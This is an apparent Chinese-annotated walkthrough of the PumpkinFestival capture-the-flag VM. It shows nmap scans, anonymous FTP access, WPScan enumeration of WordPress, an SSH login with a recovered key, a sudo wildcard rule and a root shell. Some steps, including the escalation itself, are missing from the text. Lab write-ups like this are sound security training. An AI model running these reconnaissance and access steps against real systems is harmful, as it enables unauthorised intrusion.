┌──(kali㉿kali)-[~/Downloads/PumpkinFestival] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.140 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-10 02:47 EDT Nmap scan report for pumpkins.local (192.168.56.140) Host is up (0.00016s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 6880/tcp open unknown MAC Address: 08:00:27:FA:92:8E (Oracle VirtualBox virtual NIC)
┌──(kali㉿kali)-[~/Downloads/PumpkinFestival] └─$ sudo nmap -sT -sV -sC -O -p21,80,6880 192.168.56.140 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-10 02:49 EDT Nmap scan report for pumpkins.local (192.168.56.140) Host is up (0.00046s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.56.106 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.2 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 0 0 4096 Jul 12 2019 secret 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Pumpkin Festival – PumpkinToken : 06c3eb12ef2389e2752335... |_http-generator: WordPress 4.9.3 6880/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 eb:cb:da:b3:be:b6:c8:0a:8b:6e:d5:bc:51:f7:9c:11 (DSA) | 2048 19:6b:6e:d3:8a:fa:a9:73:05:5e:ac:af:28:ff:55:b8 (RSA) | 256 00:a0:f2:8c:5e:a7:7e:7b:7b:d4:72:c3:ad:41:79:3b (ECDSA) |_ 256 aa:04:61:9a:ca:19:90:c3:55:3c:fc:cc:1a:05:be:3f (ED25519) MAC Address: 08:00:27:FA:92:8E (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(kali㉿kali)-[~/Downloads/PumpkinFestival] └─$ ftp 192.168.56.140 Connected to 192.168.56.140. 220 Welcome to Pumpkin\'s FTP service. Name (192.168.56.140:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||28051|). 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Jul 12 2019 secret 226 Directory send OK. ftp> pwd Remote directory: / ftp> binary 200 Switching to Binary mode. ftp> cd secret 250 Directory successfully changed. ftp> ls 229 Entering Extended Passive Mode (|||57147|). 150 Here comes the directory listing. -rw-r--r-- 1 0 0 48 Jul 12 2019 token.txt 226 Directory send OK.
┌──(kali㉿kali)-[~/Downloads/PumpkinFestival] └─$ sudo nmap --script=vuln -p21,80,6880 192.168.56.140 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-10 02:50 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for pumpkins.local (192.168.56.140) Host is up (0.00046s latency).
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http |_http-dombased-xss: Couldn\'t find any DOM based XSS. |_http-csrf: Couldn\'t find any CSRF vulnerabilities. |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server\'s resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 | http-enum: | /wp-login.php: Possible admin folder | /: WordPress version: 4.9.3 | /wp-includes/images/rss.png: Wordpress version 2.2 found. | /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found. | /wp-includes/images/blank.gif: Wordpress version 2.6 found. | /wp-includes/js/comment-reply.js: Wordpress version 2.7 found. | /wp-login.php: Wordpress login page. | /wp-admin/upgrade.php: Wordpress login page. |_ /readme.html: Interesting, a readme. 6880/tcp open unknown MAC Address: 08:00:27:FA:92:8E (Oracle VirtualBox virtual NIC)
nmap 漏扫显示了一些 wordpress 的路径和文件。
Web 查看
PumpkinTokens can help you get to your pumpkins. 可能是在暗示 PumpkinTokens 的值是密码。不过获得的 PumpkinTokens 有点多啊。同时在这里发现了两个用户名 jack, harry
WordPress Security Scanner by the WPScan Team Version 3.8.24 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o, default: [N]n [+] URL: http://pumpkins.local/ [192.168.56.140] [+] Started: Sun Sep 10 03:24:14 2023
[+] XML-RPC seems to be enabled: http://pumpkins.local/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://pumpkins.local/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] Registration is enabled: http://pumpkins.local/wp-login.php?action=register | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] Upload directory has listing enabled: http://pumpkins.local/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://pumpkins.local/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.9.3 identified (Insecure, released on 2018-02-05). | Found By: Rss Generator (Passive Detection) | - http://pumpkins.local/?feed=rss2, <generator>https://wordpress.org/?v=4.9.3</generator> | - http://pumpkins.local/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.9.3</generator>
[+] WordPress theme in use: twentyseventeen | Location: http://pumpkins.local/wp-content/themes/twentyseventeen/ | Last Updated: 2023-03-29T00:00:00.000Z | Readme: http://pumpkins.local/wp-content/themes/twentyseventeen/README.txt | [!] The version is out of date, the latest version is 3.2 | Style URL: http://pumpkins.local/wp-content/themes/twentyseventeen/style.css?ver=4.9.3 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.4 (80% confidence) | Found By: Style (Passive Detection) | - http://pumpkins.local/wp-content/themes/twentyseventeen/style.css?ver=4.9.3, Match: \'Version: 1.4\'
----------------------------------------------------------------------- Welcome to Mission-Pumpkin All remote connections to this machine are monitored and recorded -----------------------------------------------------------------------
┌──(kali㉿kali)-[~/Downloads/PumpkinFestival] └─$ ssh -i sshlogin jack@192.168.56.140 -p6880 ----------------------------------------------------------------------- Welcome to Mission-Pumpkin All remote connections to this machine are monitored and recorded ----------------------------------------------------------------------- jack@192.168.56.140: Permission denied (publickey).
┌──(kali㉿kali)-[~/Downloads/PumpkinFestival] └─$ ssh -i jackkey.key jack@192.168.56.140 -p 6880 -oPubkeyAcceptedKeyTypes=+ssh-rsa ------------------------------------------------------------------------------ Welcome to Mission-Pumpkin All remote connections to this machine are monitored and recorded ------------------------------------------------------------------------------
Last login: Tue Jul 16 08:12:07 2019 from 192.168.1.105 -bash: /home/jack/.bash_profile: Permission denied jack@pumpkin:~$ whoami jack jack@pumpkin:~$ id uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare) jack@pumpkin:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 08:00:27:fa:92:8e brd ff:ff:ff:ff:ff:ff inet 192.168.56.140/24 brd 192.168.56.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::a00:27ff:fefa:928e/64 scope link valid_lft forever preferred_lft forever jack@pumpkin:~$ sudo -l [sudo] password for jack: Matching Defaults entries for jack on pumpkin: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jack may run the following commands on pumpkin: (ALL) /home/jack/pumpkins/alohomora*
ooo $ o$ o $$ ""$$$ o" $$ oo " " o$"$oo$$$"o$$o$$"$$$$$ o $" "o$$$$$$o$$$$$$$$$$$$$$o o o$" "$$$$$$$$$$$$$$$$$$$$$$o" "oo o " " o "$$$o o$$$$$$$$$$$oo$$ " $ " "o$$$$$ $$$$$$$$$$$"$$$$$$$o o $ o o$$$$$"$$$$$$$$$$$o$$"""$$$$o "" o o$$$$$""$$$$$$$$$$ "" oo $$ o $ $ $ $$$$$ $$$oo "$$$$$$$$o o $$$o$$oo o o o o $$$$$oo$$$$$$o$$$$ ""$$oo$$$$$$$$" ""o " o $ ""$$$$$$$$$$$$$$ o "$$$$$$$$$$$$ o " " $ "$$$$$$$$$$$$$$ " $$$"$$$$$$$$o o $ o o$"""""$$$$$$$$ oooo$$ $$$$$$$$"" $ o""o $$o $$$$$$$$$$$$$$$$$ "" o$$$ $ o o ""o "$$$$ $$$$$""""""""""" $ o$$$$$"" o o "" o o$o" $$$$o"" o o$$$$$" o $ o$$$$$$$oo "oo$$$$$$$" o "$ o o$o$o o$$$$$"$$$$oooo$$$$$$$$$$$$$$"o$o "o oo $o$"oo$$$$$o$$$$$$$$$$$$"$$$$$$$$"o$" "$ooo $$o$ $$$$$$$$$$$$$$$$ $$$$$$$$o" "" $$$$$$$$$$$$$$$$$$$$$$""""" """""" There were 10 PumpkinTokens on this VM
------------------------------------------------------------ Love to know your thoughts and suggestions Tweet me @askjayanth ------------------------------------------------------------
Eagerly waiting to see your detailed walk-throughs Level 1 : PumpkinGarden Level 2 : PumpkinRaising Level 3 : PumpkinFestival
Until next time, Mission-Pumpkin v1.0 signing off...
root@pumpkin:/root# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 08:00:27:fa:92:8e brd ff:ff:ff:ff:ff:ff inet 192.168.56.140/24 brd 192.168.56.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::a00:27ff:fefa:928e/64 scope link valid_lft forever preferred_lft forever root@pumpkin:/root# uname -a Linux pumpkin 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux root@pumpkin:/root# whoami root
提权成功，拿到了 flag
不过这里提示说一共有十个PumpkinToken
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
jack@pumpkin:~$ ls -liah total 52K 21273 drwx------ 5 jack jack 4.0K Sep 12 13:40 . 8199 drwxr-xr-x 5 root root 4.0K Jul 12 2019 .. 23336 -rw------- 1 root root 74 Sep 12 13:40 .bash_history 21276 -rw-r--r-- 1 jack jack 231 Jul 15 2019 .bash_logout 21285 -rw------- 1 root root 94 Jul 16 2019 .bash_profile 21275 -rw-r--r-- 1 jack jack 3.6K Jul 15 2019 .bashrc 21319 drwx------ 2 jack jack 4.0K Jul 12 2019 .cache 21274 -rw-r--r-- 1 jack jack 675 Jul 12 2019 .profile 23207 drwxrwxr-x 2 jack jack 4.0K Sep 12 13:34 pumpkins 22986 drwxrwxr-x 2 jack jack 4.0K Jul 12 2019 .ssh 175806 -rwsr-xr-x 1 root root 11K Jul 15 2019 token jack@pumpkin:~$ file token token: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=977c5f4023cb5e77599fd8194089aa03f155ad88, stripped jack@pumpkin:~$ ./token
